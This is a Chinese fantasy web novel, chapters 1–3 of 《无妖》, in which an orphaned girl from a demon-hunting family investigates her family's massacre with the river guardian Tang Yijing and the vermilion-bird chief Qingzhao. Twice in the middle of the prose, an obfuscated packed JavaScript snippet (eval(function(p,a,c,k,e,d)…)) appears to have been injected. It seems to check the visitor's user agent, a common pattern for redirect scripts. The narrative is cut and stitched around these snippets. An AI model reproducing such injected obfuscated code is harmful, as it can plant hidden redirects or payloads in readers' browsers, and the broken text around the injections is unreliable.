《无妖》 1. 第 1 章 朱妙仪又一次摔倒了。 熟练地拍了拍膝盖上的土,朱妙仪撑着膝盖站了起来。 眼前忽然一片漆黑,朱妙仪的身影晃了一下,但并没有倒下。 就在刚才眼冒金星的时候,朱妙仪感觉自己看到了身影立在眼前的浓雾之中,更奇怪的是那人并不是站在地上,而是脚与地面还有一段距离,看起来就好像漂浮在空中。 但等在朱妙仪定睛一看,已经看不见了,眼前还是只有这一片令人晕头转向的浓雾。 “原来是眼花了。”朱妙仪小声自言自语。 自从离开无妖县踏入这片浓雾,朱妙仪就再也没见过除了她自己以外的任何东西,更别说人影了。 虽说辨不清方向,虽说早已经体力透支,但朱妙仪还是深一脚浅一脚向前走着。她记得很清楚,祖父曾经说过只要通过浓雾便能够看到无妖河。 只要到达无妖河,便能够见到这条河的接引大人了。 由于雾气过大遮天蔽日,朱妙仪甚至都不知道自己在这雾中走了多长时间,只知道自己的双腿越来越沉重,只能凭借着毅力努力支撑着。 而此时,就在朱妙仪看不穿的浓雾之后,正有一双眼睛目不转睛地盯着她。自从她踏入这片浓雾后,这双眼睛便没有离开过。 走着走着,脚边突然传来一阵响动。朱妙仪蹲下身子,果然看到了她刚放在地上做标记的发簪。 “走来走去,我果然只是在绕圈子。”朱妙仪起身的时候趔趄了一下,但还是站稳了。将发簪上的土拍掉,朱妙仪将发簪重新扎进发髻。 “我明明记得祖父说过,这浓雾不过是障眼法,很快便能够通过,怎么就会走不出去呢?”朱妙仪举目四望,只有自己的影子投在浓雾上的模糊映像。“难道说,它是欺我肉眼凡胎,不肯让我到无妖河?” 想到这,朱妙仪忽然撩起裙摆,端端正正地跪在了地上。 “民女乃无妖县朱家之后朱妙仪,因朱家惨遭灭门横祸,民女一人无力寻到杀人凶手,故来到此处叨扰无妖河接引大人,望大人能够见民女一面!” 连续说完三遍,朱妙仪等在原地,却没有听到任何一点回音。 “大人!求您见民女一面吧!大人!”说完,朱妙仪俯下身对着浓雾的方向叩了一个头。 许是因为说这些话耗费了大量气力,在起身的时候朱妙仪又感到眼前一黑,接着身体便不受控制地向一旁倒去。 但并没有倒下。 恍惚之中,朱妙仪感觉一股力量稳稳地托住了她的身体,接着便有一股力量注入到了她的体内。 再度睁开双眼,朱妙仪意外地发现浓雾正在飞速散去,四周很快便变得一片清明。 接着,一道身影兀自出现在了朱妙仪眼前。 他身穿一袭青灰色道袍,头发用莲花冠束住,右手执一柄白色拂尘。最奇怪的是,朱妙仪明明没有感受到风的流动,但那人的拂尘与衣袍下摆都漂浮在空中。 此时朱妙仪才发现,不止这些,就连那人本身也是漂浮在空中的。 “小姑娘,听说你要见无妖河接引。”男子的声音很好听,如同两块玉石互相敲击。 “我就是无妖河接引。” 朱妙仪脑袋还是懵的,身体已经率先做出反应——腰身一软趴在了地上。 “民女见过接引大人。” “不要拜我,你朱家先祖曾与我有恩。”接引大人双手未动,但朱妙仪又被一股力量扶了起来。 见接引大人主动说起与自家先祖的交集,朱妙仪赶紧说道:“民女正是从祖父口中得知朱家与接引大人相识一事,才斗胆来到此处求见您。” “刚才你说朱家惨遭灭门?” “是的,一月前民女从京城探亲归来,却得知朱家满门十三口人被歹人屠戮,无一生还。”说到这,朱妙仪还是哽咽了一下,“大人,朱家乃是捉妖世家,民女的祖父、父亲、兄长都是捉妖高手。若是想在一夜之间取走我朱家这么多人的性命,绝非是常人能够做到的!” 接引大人沉吟片刻,终于缓缓落在了朱妙仪眼前。 “当年若非你朱家先祖出手相助,这天下还不知道会变成什么样子。几百年未见,不成想竟然是这样的结局。”接引大人看向朱妙仪,“你放心吧,我会帮你追查到杀害你亲人的凶手。” “多谢接引大人!”朱妙仪又要下跪,却被接引大人伸手扶住了。 “我不过是这条河的接引,说白了也就是个船工,你不必拜我。” 朱妙仪愣了愣,一脸迷茫地看着接引大人。 “我叫唐亦景,如果你不介意,可以唤我哥哥。” “亦景哥哥。”朱妙仪改行了叉手礼,从前在家的时候见到兄长,朱妙仪便是这样行礼的。 唐亦景点点头,算是认可了这个称呼。 “你在浓雾中不辨时间,实则已经走了整整一日了,我虽为你注入真气,但并非长久之道。”唐亦景甩了一下拂尘,朱妙仪立刻感觉自己的身体正在变得轻盈。“咱们还是先回无妖县,让你吃点东西吧。” 转瞬之间,朱妙仪便回到了无妖县界碑的位置。 过了这里便是无妖县的范围,也就到了朱妙仪熟悉的环境。 唐亦景微微一笑,做了个手势示意朱妙仪带路。 朱妙仪此时确实也真的饿了,立刻带着唐亦景走到了附近的一家馄饨铺。 “老板,一碗馄饨。” 说完,朱妙仪眨巴着眼睛看着唐亦景。 唐亦景一愣,却还是跟着说了句:“一碗馄饨。” 馄饨很快上桌,朱妙仪也无心在意礼节,赶紧将馄饨吞进肚子里。朱家作为捉妖世家,在无妖县都算得上是远近闻名,因此家底颇丰。朱妙仪虽说是个庶女,但也是娇生惯养着长大,还是第一次饿这么长时间。 等到把馄饨吃完,朱妙仪这才想起来对面还坐了个人,有些不好意思地抬头看向唐亦景,却发现对方馄饨并没有吃几个,反而是盯着馄饨瞧了很长时间。 “大……亦景哥哥,您吃不惯馄饨吗?” 唐亦景笑一笑,放下了手中的筷子。 “非也,只是我乃修仙之人,不必食五谷杂粮。即便是偶然品尝,也只是图个新鲜罢了。” 朱妙仪这才后知后觉想起对方大小也算是个神仙,讪讪开口:“是我忘记了这件事,冒犯大人了。” “我说了,你不必叫我大人。”唐亦景见朱妙仪已经吃饱,也将自己的碗碟推到了一旁。“好了,现在你可以告诉我究竟是发生什么事情了。” 朱妙仪点点头,开口娓娓道来。 事情还要从半年前说起。 朱妙仪有一门指腹为婚的亲事,由于本来便是为着亲上加亲的道理,因此即便出了五服,朱妙仪还是唤对方一声表哥。对方姓颜,如今家住京城。 因为朱妙仪今年过了年便已经十六岁,两家便想着将这门婚事提上日程。但朱妙仪的祖父很是疼爱她,虽说有这门婚事在前,却不想让朱妙仪嫁给一个不适合的人蹉跎终生,因此便想到以探亲为由让朱妙仪到京城相看对方,若是喜欢再纳征也不迟。 就这样朱妙仪踏上了前往京城的探亲之路。 到达颜家后,颜家母亲很是喜爱朱妙仪,颜家的整体氛围也算是融洽。虽说人丁多了些,但分院居住也不算是太过麻烦。 最重要的是,朱妙仪与表哥颜琅一见钟情。 与表哥互诉衷肠后,朱妙仪便写信回家对这门婚事表示了同意。而祖父很快也回信过去,表示待朱妙仪回家便要颜家纳征,尽快完婚。 只是朱妙仪怎么也没想到,那一封信便是自己与亲人通的最后一封信。 一月前朱妙仪回到无妖县,从县令口中得知朱家出了事,十三个人一夜之间被屠杀殆尽,一个活口都没有留下。 伴随着案情久久没有进展,一直以来对这个案子有所怀疑的朱妙仪更加坚定这件事并非是常人所为,再加上她多次在祖父口中听说朱家祖上曾与无妖县边界的无妖河接引有过交集,这才动了来无妖河求见唐亦景的事情。 “亦景哥哥,无妖河乃是人界与妖界的分界,朱家世世代代守候在无妖县,也算是与亦景哥哥一同维持着人界与妖界的和平。我实在不明白我们家最终怎么会落到如此下场……”说着说着,一滴眼泪从朱妙仪的眼角滑落。 唐亦景心中也很是唏嘘,正色说道:“你放心吧,不论最后查出凶手是人是妖,我都一定替朱家讨回公道。” 朱妙仪含着泪点了点头。 本以为唐亦景作为神仙必然是不知道金钱为何物,没想到对方却不知从哪里摸出两文钱结了账。 二人离开馄饨铺,唐亦景并没有再动用法术,而是跟着朱妙仪一同走回了朱府。 推开朱府大门,府内空无一人,因此格外寂静。 唐亦景左右打量,发现前院除了地上有些暗色的痕迹外,已经再瞧不出发生过凶案的迹象。 “亦景哥哥莫怪,衙门的人担心尸体放久了会生疫病,因此在探查过后便将此处清理过了。”朱妙仪将木门重新关闭,娇小的身躯与高大的木门之间形成了巨大的反差。但她的手法很是娴熟,一看便是已经做惯了的。 “回家后,我带走的奴婢都不敢再回朱府,我便做主给了他们银子,将他们都遣散了。因此这段时间,我都是一个人住在家里。” 走进正堂,朱妙仪给唐亦景泡了一杯茶,端过来的时候愧疚地说道:“家中没有仆人,打扫得不太干净,还望亦景哥哥不要见怪。” 唐亦景接过茶水,略有些惊讶地问道:“你自己住在此处,难道就不害怕吗?” “害怕?”朱妙仪笑了笑,露出一颗尖尖的虎牙。“即便是放眼整个无妖县,现在都没小偷敢踏足朱府,我住在这里实在是再安全不过了。” “可是……”唐亦景噤了声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“走吧。”唐亦景打断了朱妙仪的沉思,“随我到府中四处走走。” 朱妙仪明白唐亦景是要查探一下现场,因此边走边将她从县令处得知的情况告知唐亦景。 “县令跟我说,家仆倒下的位置很是散乱,前院、后院甚至是走廊中都有。凶手动手很是干脆,全部都是一击毙命。” 唐亦景俯身查看地面的暗色痕迹,那是血液渗入泥土留下的印记。 “你祖父和你父亲倒在何处?” “祖父和父亲都倒在后院,县令说他们应当是差不多同时遇害,死前很可能与凶手有过搏斗。” 唐亦景点点头,这也符合他的初步猜测。 “其余的情况县令便不愿同我讲了,大约是觉得我是女子,担心我会害怕吧。” 唐亦景回身看了朱妙仪一眼,“这已经足够了,妙仪,你做得很好。” 说话间二人已经走到后院,这里是朱府的后花园,有好几处高大的树木。如今已过盛夏,但树叶还是郁郁葱葱。 “若是歹人从树上隐蔽突然跳下,确实能够害人于不备。”唐亦景一跃到了树枝之上,经过仔细探查确实发现了几处异常的树枝断裂。 “后院的这处院落是谁在居住?” “这里是我祖父居住的卧云居,东边是玉衡阁,那是朱家收藏古书的地方。” 二人走进卧云居,此处地形有些崎岖,道路很是曲折不说,还有好几处地势不平的位置。 二人在主屋前停留一会,唐亦景未发现什么端倪,便抬脚向玉衡阁走去。 “玉衡阁中收藏的都是什么书?” 朱妙仪愣了一下,这才开口说道:“按照朱家家训,女子是不允许进入玉衡阁的,但我祖父曾经对我说过,这里头收藏的都是与妖有关的书籍。” 唐亦景再次回身瞥了一眼这个女孩子,她的身量并不高,胳膊看起来尤为纤细,想必在家中也是按照大家闺秀的要求养大的。然而就是这样一个连家中藏书阁都不被准许进入的女孩,却在朱家覆灭后不假思索地担负起寻找凶手的重任。 二人停在了玉衡阁的门前。 朱妙仪抬起头,问出一个困扰她许久的问题。“亦景哥哥,我祖父并没有晚睡的习惯,若是凶徒真的是在树上埋伏良久,那最终我祖父为何会在后院遇害呢?” “这说明你祖父一定是在凶手向他下手之前,见到了凶手。” 朱妙仪看向唐亦景,去见唐亦景被玉衡阁门口的一根柱子吸引了视线。 朱妙仪仔细一看,发现那柱子上不知何时出现了几道细小的擦痕。 “这……柱子上原先应当没有擦痕才是。” “确实不该有,”唐亦景的神情忽然变得很是冷峻,朱妙仪甚至能够感觉到一丝寒意袭了过来。 “因为这是朱雀的爪痕。” 2. 第 2 章 唐亦景本想一个人返回妖界,但看着朱妙仪一个人站在这空荡荡的院落中,他心中便很不是滋味。更何况现在凶手还未找到,这处宅子也许并非是真的安全。 最后,唐亦景还是带着朱妙仪一同回到了妖界。 第二次跟着唐亦景一同乘云驾雾,朱妙仪俨然已经适应了不少,甚至敢四下观察起来。从小到大生活的街道现在就在脚下,平日里见惯的景象变得微小,忙碌的人群就像是蚂蚁,朱妙仪忽然露出一个笑容。 “怪不得人家说天上的神仙都有慈悲胸怀,看着这样忙碌又渺小的人们,大概很难不产生宽容的心态吧。” 唐亦景回头瞧了朱妙仪一眼,虽说面上露出一个笑容,但却还是带着冰霜,刺得朱妙仪不自觉打了个哆嗦。 “站稳些。” “是。”朱妙仪悄悄抬起眼帘,偷瞟了一眼这个不知为何突然心情不好的男人。“亦景哥哥,咱们这是要去哪儿啊?” “员峤山。”唐亦景的回答简短利索。 “员峤山?我记得那是朱雀族世代居住的地方。”话音刚落朱妙仪便后悔了,赶紧用手捂住了自己的嘴巴。 但话已经被唐亦景听到了,他转过头看向朱妙仪,似笑非笑地问道:“看来你也不是太听从你祖父的话啊?” 朱妙仪吐了吐舌头,不好意思地说道:“祖父他们要出去捉妖,不常在家,我有时候就会偷溜进玉衡阁找几本书看。” “怪不得你能想到来无妖河找我,看来你的书没有白读。” 朱妙仪低下头笑了笑,当年她偷溜进玉衡阁看书只是因为无聊,却从未想过自己也能有一天真的与这些书中的妖打上交道。 员峤山虽然是山,但并非扎根地面泥土之中,而是被一只巨鳌驮在背上漂浮于海上。二人腾云驾雾在海面上穿行良久,终于看到了水雾中露出的高大山体。 刚落到地面,便有一个身披绮罗、头戴珠玉的年轻女子迎了上来,饶是朱妙仪家境殷实且刚从京城返回,却也是第一次见到衣着如此华丽富贵的女子。 “接引大人。”那女子走上前,屈膝向唐亦景行礼,“不知接引大人前来,未离山迎接,是我等的疏忽。” 唐亦景好像并不在意那位女子话中的客套之意,开门见山问道:“晴朝呢?” 那女子愣了一下,低头回答道:“族长在殿内休息。接引大人若要见族长,我这就去通禀。” “不必了。”说完,唐亦景大踏步向内走去。刚才朱妙仪便注意到,就在不远处矗立着一座金碧辉煌的宫殿,远看屋顶隐约有金光闪耀,着实美丽。 那女子似乎有些慌张,急忙跟了上去,既不敢阻拦唐亦景,也不敢放任唐亦景走进去。 三个人就这样走进了大殿。 一踏进殿内朱妙仪便明白了刚才在外面看到隐约有金光闪烁的原因,这殿内举目四望皆是流光溢彩,墙壁和地砖都反射着幽幽光芒,房内梁柱皆是朱漆粉刷,嗅闻还有细微的椒香。 唐亦景却是视若无睹地走了进去,越过层层帷幔走向殿内。 朱妙仪向殿内看去,这才发觉殿内摆着一张贵妃榻,而榻上赫然侧卧着一个同样身着绫罗绸缎的年轻女子。 那女子头上除却发簪外,还戴着一个由赤红色羽毛装饰而成的步摇,在乌发的映衬下仿佛是一团火焰在燃烧。面上瞧起来比唐亦景还要白皙,甚至有种接近透明的错觉。嘴唇上涂着大红色的口脂,额头上用胭脂画了一朵羽毛的形状。 “族长!”带路的女子低头行礼,“叨扰族长休息,晚辈罪该万死。” “无妨,咱们接引大人横冲直撞惯了,你怎么可能拦得住他?”女子的声音听起来懒洋洋的,好像是刚醒过来。她抬眼看了带路的女子一眼,摆手让她退了下去。 “接引大人,什么风将您吹到我的员峤山来了?” 唐亦景的表情依旧脸色铁青,或许是因为这女子的态度又冷峻了一分。 “晴朝,这段时间你离开过员峤山吗?” “这段时间是哪段时间啊?”晴朝笑起来的时候眉眼弯弯,连带着脸上的羽毛图案都变得生动起来,“大人,我朱雀一族在员峤山修行已有数百年,不知大人问的是这段时间是指近百年还是近十年呢?” “晴朝,我劝你好好回答我的话。”唐亦景的脸色已经越来越难看。 “怎么?这件事很重要吗?”晴朝瞪着眼睛装出一脸无辜的样子,嘴上嗔怪道:“大人生什么气啊?” 唐亦景的声音几乎是低吼着说出来,“晴朝,一月前无妖河南的无妖县发生一桩命案,而我在那户人家的院子里发现了朱雀的爪痕,你最好能解释清楚这究竟是怎么回事!” 反观晴朝,却是一点都没有被唐亦景的情绪惊吓到,甚至直到现在都是懒洋洋地侧卧在榻上回话。 直到此时朱妙仪才意识到这美人上半身看起来有常人无异,但到了下半身却没有腿。朱红色裙摆外露出的是一支长长的尾羽,那羽毛以金黄为底,缀满黑、红相间的云状斑纹,尾端自然下垂,像是一簇艳丽的流苏。 眼见着朱妙仪睁大了眼睛,晴朝却露出了一个满意的微笑。 “朱雀?这世间的朱雀多了去了,大人怎么觉得便一定是我呢?” “因为那是朱家。”唐亦景后知后觉看了一眼身边的朱妙仪,后者好像并没有听到自己说的话,只是痴痴地看着晴朝。 “怪不得你怀疑我,原来是怕我寻仇去了?”晴朝忽然大笑,仿佛听到了什么好消息,“只是没想到那捉妖能力高超的朱家竟然也会出事,看来他们平日得罪的妖可真是不少啊。” “晴朝!”唐亦景忽然抬起手,那柄拂尘如同利箭一般射了出去,狠狠地钉在了贵妃榻的背板上。接着拂尘的尘尾忽然像有了生命,逐渐拉长变成如蚕丝般的绳索,将晴朝包围住。“朱家后人在此!休得胡言乱语!” “呀!这位小美人竟是朱家的孩子,我居然才看到。”晴朝的目光被朱妙仪吸引了过来。 朱妙仪有些惊慌,抬眼看向唐亦景,对方没有说话,却迈出一步挡在了朱妙仪面前。 “晴朝,这是咱们两人之间的事情,与她无关。” “咱们两人之间有什么事啊?大人说话真是让人奇怪。”说话间,晴朝忽然坐直了身子,而这个简单的举动却让唐亦景露出了微微错愕的神情。 “我与大人之间的话早已经在七百年前就说尽了,现如今我倒想和这小姑娘说几句。” 话音刚落,晴朝抬手一挥,身影便凭空消失。朱妙仪一怔,下一瞬便闻到一股香气扑面而来。 晴朝此时已经站到朱妙仪眼前,那美丽尾羽自动幻化成了人类的双腿。晴朝伸出手靠近朱妙仪,手指的指甲忽然变长,慢慢向朱妙仪的脸蛋凑过去。 “小姑娘,从刚才开始你就一直在盯着我看,你喜欢我的羽毛吗?我记得你们人族最喜欢用朱雀尾羽做成衣服,为此甚至不惜大肆捕猎朱雀,逼得我们只能重返妖界,选择了这座在海上神出鬼没的员峤山作为落脚之地。” 这件事朱妙仪确实在书中读到过。古书记载在很久之前人妖本是比邻而居,但伴随着人的力量壮大,妖族逐渐成为了人族觊觎的猎物,也是在那之后妖族被迫逃回妖界,人妖两界也被一条无妖河分开了。 见此情景,唐亦景心中已有些慌乱,偏偏拂尘又根本锁不住晴朝,只能出声喝止道:“晴朝!” “无论何时这世上都存在着贪得无厌的人,但我想这也意味着,这世上永远存在着贪得无厌的妖。” 晴朝一愣,一刹那过后才意识到这真的是眼前这个看起来弱不经风的小姑娘说出来的话。 “而正因如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你肯道歉,真是太阳打西边出来了。”晴朝走到桌边,捡了一颗葡萄递给朱妙仪,“好妹妹,尝尝我们员峤山的水果,据说人族吃了可以长生不老。” 朱妙仪本来伸出的手生生停在了半空。 晴朝眉头微皱,“怎么?人人都追求的长生,你竟不想要吗?” “姐姐,长生一事若是有人陪着还好,否则只能亲眼见着身边一个个至亲之人离世。在我看来这并非是好事,反而像诅咒。” 唐亦景忽然伸出手拿走了晴朝捏着的葡萄,直接递到了朱妙仪眼前。 “别听你雀儿姐姐胡说,顶多能延年益寿,根本做不到长生。你身子不太好,趁这机会吃几颗倒是不错。” 朱妙仪确实自小便体弱多病,是所谓的大病没有小病不断,这些年可没少折腾她。听到唐亦景这样说,朱妙仪赶紧将那颗葡萄拿了过去。 “多谢雀儿姐姐。”朱妙仪堆起一个讨好的笑脸,接着便将葡萄吃了进去。 晴朝没好气地瞥了唐亦景一眼,坐到朱妙仪身边,端起茶杯兀自喝了起来。 唐亦景没坐下,但还是端起茶杯品了品。 “你叫妙仪对吧?”晴朝放下茶杯,“朱家真的出事了?” 朱妙仪点头,将朱家遭遇的惨案全部告知了晴朝。 听完,晴朝本能地看向唐亦景。 “能够在一夜之间取朱家满门性命,唐亦景,这绝非是人族能做出来的事情。” 唐亦景点头。“你我都是见过朱家身手的,即便是妖族也绝非是寻常小妖能够做出此事。” “自七百年前妖界那场变故后,我便不允许族人擅自离开员峤山,所以我可以确定这件事绝非是朱雀一族所为。”晴朝轻哼了一声,“我倒想知道是谁有这么大本事,竟然敢将这种事嫁祸到他姑奶□□上。” “这么说,雀儿姐姐愿意帮我寻找杀人凶手了?”朱妙仪面露喜色。 “自然,不仅如此,等将他捉到手我还能帮你手刃了他呢。”说着话,晴朝的长指甲又一闪而过。 “行了,收好你的指甲吧。你现在法力微薄,还是好好保护自己要紧。”唐亦景将茶杯放在桌上,“走吧,既然要帮忙,你得去朱家看一看才行。” 3. 第 3 章 三人腾云驾雾来到了无妖河北岸,但由于晴朝是妖族的原因,这次他们无法直接通过无妖河,而是必须由唐亦景将二人摆渡过去、 朱妙仪并非第一次见到无妖河,刚才她随唐亦景去员峤山时便路过无妖河,那时的无妖河水面风平浪静,看起来与人界的普通河流相差无几,甚至还赶不上人界河流的壮阔与汹涌。 刚才朱妙仪还有些诧异,就是这样一条其貌不扬的河水,究竟是怎么阻挡住妖界的千万妖族。 然而当这次他们三个落到无妖河岸边时,无妖河忽然像感受到了什么一般,原本平静的河水立刻变得波涛汹涌,仿佛水面上有狂风卷过,但实际上朱妙仪什么都没有感受到。 河水如同咆哮的凶兽般呼啸而过,巨浪一阵高过一阵冲刷着岸边,朱妙仪甚至怀疑再过一阵这河水就会自己跑到岸上来,直到将他们全都卷入水底才甘心。 一朵浪花扑了上来,虽说距离三人还有些距离,但却有几滴河水落在了朱妙仪手背上,除了一阵凉意朱妙仪并未感受到不妥,但站在身旁的晴朝却忽然发出“嘶”的一声。 朱妙仪循声看去,看到晴朝手背上同样溅上了几滴河水。但与她不同的是,那些河水却像是强酸一般迅速腐蚀了晴朝的皮肤,她那过分白皙的手背上立刻透出几个血红色的水泡。 “雀儿姐姐……”朱妙仪失声叫道。 晴朝先是开口安抚了朱妙仪的情绪,“不妨事,别害怕。” 唐亦景拂尘已迅速出手,尘尾在空中划出一道弧线,那河水立刻像受到了阻碍,翻滚着从他们面前退下了。 “怎么样,是不是伤着了?你现在法力低微,切不可贸然接触无妖河水。” 晴朝用另一只手盖住了自己的伤痕,微笑着抬眸看向唐亦景。 “唐亦景,你这次究竟是怎么回事?怎么突然知道心疼人了呢?难道是百年未见,咱们接引大人不知去哪里渡了场情劫?” 唐亦景不理会晴朝的揶揄,只是默默将晴朝挡在了身后。 晴朝忽然感觉手上一热,低头却发现朱妙仪不知从哪撕下来一根布条,正低着头琢磨该怎么裹住自己的手。 “雀儿姐姐,我知道伤口不大,但还是包一包吧。”朱妙仪说完话也已经决定好怎么包扎,非常利索地将伤口包好了,“这布条是我从衣袖上撕下来的,等一会回了朱府,我再给姐姐换成纱布。” 虽说条件有限,但朱妙仪包扎的伤口很是规整,即便是原先给自己包扎过多次伤口的晴朝都自愧弗如。 “你这小丫头,居然还会包扎伤口?” “原先家中其他人受伤时我曾经帮过忙。”朱妙仪省略了“捉妖”二字,因为觉得在晴朝面前提起这二字不够妥当。 另一边,唐亦景的拂尘已经变大数倍,横着躺平在岸边。唐亦景伸手招呼二人,朱妙仪有些掌握不了平衡的技能,因此只能坐在尘柄处。而晴朝看起来动作很是熟练,象征性地扶了一下唐亦景的手之后,稳稳地站在了尘柄上。 “走了。”说完,唐亦景伸手捏诀,拂尘漂浮至空中,带着三人破开无妖河水向南岸驶去。 三人就这样直接回到了朱府。 此时已经接近傍晚,朱府中尚未点灯,因此显得有些黑漆漆的。 晴朝跳下拂尘后,顺手用食指点了一个火星子,接着便皱着鼻子在前院闻了闻。 “确实是妖味。” 唐亦景等朱妙仪跳下拂尘,将拂尘重新收回手中。“距离案发当日太久,此地又被清扫过,我的拂尘已经感受不到妖气了。” “你放心,这种时候我的鼻子可比你的拂尘好用多了。”晴朝伸手一指,挂在府门口的灯笼立刻燃了起来。 三人跟随着晴朝指尖燃起的火光,继续往府内走去。 在玉衡阁门口,晴朝也看到了那处不明显的擦痕。 “确实像是爪痕。”晴朝抬起手,用手指去感受那处痕迹,“但我总觉得这处抓痕有些奇怪。” 唐亦景看向晴朝。 “若一定要说这是朱雀的爪痕,我倒觉得又有些太过纤细了。除非是还未成年的朱雀,否则怎么可能会留下这么小的抓痕。” 唐亦景点了点头,这道爪痕对于成年朱雀来说确实有些纤细。 但问题就在于若非是成年朱雀,怎么可能有能力飞跃无妖河而毫发无伤。 “雀儿姐姐。” 晴朝抬起头,看见朱妙仪抱着药箱走了过来。 “布料不干净,我再给你重新包扎一下吧。” 许是因为匆忙,朱妙仪还未来得及换下身上被撕破的衣裙,袖口处能够明显看出一道破损的痕迹。 晴朝低着头看朱妙仪将她的伤口消过毒后重新包扎后,接着便伸出手指一指,凭空为朱妙仪变出了一套新的衣裙。比起朱妙仪原先那套衣裙来说,这套衣裙样式颜色并未改变,只是布料变得更加柔软舒适。 “我知道你要守孝,就不给你变新衣服了。”晴朝摆了摆自己受伤的手,“待我们帮你找到凶手,我一定在走之前送你一套最漂亮的衣裙。” 朱妙仪低头笑了笑,选择接受了晴朝的好意。 “妙仪,县令有没有告诉你是谁最先发现朱府出事的?” “说过,县令告诉我是浔阳楼的一个伙计先发现的这件事。” “浔阳楼?”晴朝皱眉,“这怎么好像是个酒楼的名字?” “雀儿姐姐怎么知道?浔阳楼是无妖县最大的酒楼。”晴朝很是惊讶,“我还以为妖界不会知道人界的事情呢。” “人界的事情我确实不清楚,但是这浔阳楼……”晴朝扭头看向唐亦景,而后者也一脸无奈地看着晴朝。 “浔阳楼是妖界最好的酒楼,其中的无忧酿乃是招牌,只需要喝一杯便可以沉醉于梦中,得到自己最想得到的东西。” “无忧酿?我们的浔阳楼也有无忧酿啊,只不过没有这么好的功效罢了,只是酒香甘醇,很是好喝。”说完,朱妙仪慌忙捂住嘴,“这些……都是我家里人告诉我的。” 晴朝笑着走过朱妙仪,还不忘拍了拍她的肩膀。“别紧张,偷偷喝酒这种事我比你熟练。” 朱妙仪不好意思地笑了笑。 “这样看来,咱们有必要去这浔阳楼瞧一瞧了。”晴朝转身看向唐亦景,“你说呢?唐大人。” “先说好,即便再好喝,你也只许喝一坛。” 唐亦景走到朱妙仪身边,“快把药箱放下罢,咱们这就去浔阳楼。” “小气!”晴朝嗔怪了一声,但还是跟着他们二人一同向外走去。 浔阳楼地处于无妖县最繁华的地段,附近除了酒肆茶馆还有说书唱戏的地方,晴朝一路看过去,只觉得眼睛都直了。 “客官,吃饭还是住店啊?” 晴朝本来走在最前面,被不知从何处冒出来的伙计吓了一跳。 朱妙仪往前迈了一步,“吃饭。” “客官三位!” 伴随着伙计一声招呼,另一个和他穿着一模一样的伙计走了过来,将三人引到了一张空桌前。 “三位请坐!”伙计用抹布将桌上重新擦过一遍,“您看您三位要吃点什么?” 朱妙仪俨然一副轻车熟路的样子,“决明兜子、羊头签、半只烤鸭,主食要梅花包子和鲤鱼焙面,素菜若干,最重要的是要一坛无忧酿。” 伙计笑着点头,“一看客官便是我们浔阳楼的常客,您放心吧,我们这就上酒。” 待伙计将酒水斟满,晴朝迫不及待地端起碗喝了一口。 “还真与咱们妖界浔阳楼的无忧酿味道有些相似,只是没有醉生梦死的效果了。” 听到晴朝这样说,唐亦景也端起碗品尝了一口,“还真是有几分相似。” “这么说的话,那看来无妖河两岸大家的口味还是有些相似之处的嘛。”朱妙仪笑着端起碗喝了一口,自她离家去往京城就再也没机会喝到这清冽的无忧酿,今日终于是解馋了。 唐亦景微笑着看了朱妙仪一眼,接着伸出手招呼站在不远处的伙计。 “客官,什么事?” “不好意思,我有一件事想托你打听。”说着话,唐亦景将一锭银子放在了桌上。 那伙计在看到那锭银子后眼睛立刻睁大了一圈,赶紧说道:“您放心吧,只要我知道的事情,我一定知无不言。” “好!”唐亦景一双眸子看向伙计,“我问你,这无妖县朱家发生命案的事情是你家哪个伙计发现的?” “客官您这真是问对人了。”伙计先是回头看了看柜台的方向,接着又往他们桌前凑了凑,“客人莫怪,实在是我们掌柜的有规矩,不允许我们 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但朱妙仪,只是冷静地补充道:“县令跟我说过,前院有三具下人的尸体,想来他看到的便是其中一具。” 伙计此时才意识到说话的这一位恐怕便是传言中所说,朱家唯一逃过一劫的小女儿朱妙仪。 “朱二娘子……”伙计连忙往后退了两步,“我刚才不知是您,说话着实是冒犯了。” 朱妙仪并不在意,甚至还笑了笑安抚对方,“无妨,若是你的话真的能帮我找到杀害家人的凶手,这银锭我可以给你一箱。” 伙计见朱妙仪并不生气,放下心来继续说道:“我见势不对,便立刻跑去府衙报了官,来的人将那门锁砍开,这才发现朱家出了事情。” 唐亦景将银锭递给伙计,“最后一个问题,我想知道朱家是谁来订的酒席。” “这我就不清楚了,订酒席那日不是我的班。”伙计将银锭握在手中,不着痕迹地塞进了外衣胸口,“不过我知道这桌酒席是我们掌柜的亲自接受预订的,要不然我们也不能允许这朱家违背规矩,订了桌中午的酒席嘛。” 待伙计离开后,晴朝看向坐在一旁的朱妙仪。 “妙仪,你知道那日你家为什么要订酒席吗?” 朱妙仪轻轻摇头,这些关于订酒席的事情她也是头一回听说。 “出事那日是六月十六,那天既不是要庆贺的节日,我家中也没有人过生辰。更何况我祖父、父亲、兄长皆是修行之人,口腹之欲并不强,甚少选择外出吃饭,更别说是订酒席到家里了。”朱妙仪的手指无意识蜷缩成拳,任由指甲掐着自己手心的嫩肉。 “那你母亲呢?朱家总还是有些女眷的吧?” “我娘是我爹的侧室,在我出生第三年就过世了。而我爹的正头娘子在生育时难产,也已经撒手人寰。所以说,我兄长由我爹带大,我是由我祖父带大的。” 晴朝意识到自己又说错了话,有些心虚地看了唐亦景一眼,端起酒杯送到嘴边。 朱妙仪却并不觉得有什么,她对母亲的印象很少,从记事起便养在了祖父身边,只依稀记得娘亲是一个容貌很温婉的女人。 菜已经上桌,唐亦景赶紧夹了一筷子鸭肉到朱妙仪盘中,接着对晴朝说道:“此事,你有什么想法?” “怪,实在是怪。” “巧了,我也这么觉得。” 晴朝斜睨了不远处的柜台一眼。 “唐亦景,你带够钱了吗?” 唐亦景露出一个笑容,“放心,浔阳楼还是住得起的。” 朱妙仪这才意识到二人决定了什么事,赶紧插嘴道:“二位是客人,怎好让您们住在外面呢?朱家有好多间卧房,都没有见过血的。” “傻孩子,难道我们还会计较这些?只是他是神仙,钱多了也没什么用,还不如给咱们都花了。”晴朝对着朱妙仪眨眨眼,“更何况他今天擅自怀疑我,我还没把本钱要回来呢。” “这……” 唐亦景直接伸出手招呼伙计走了过来。 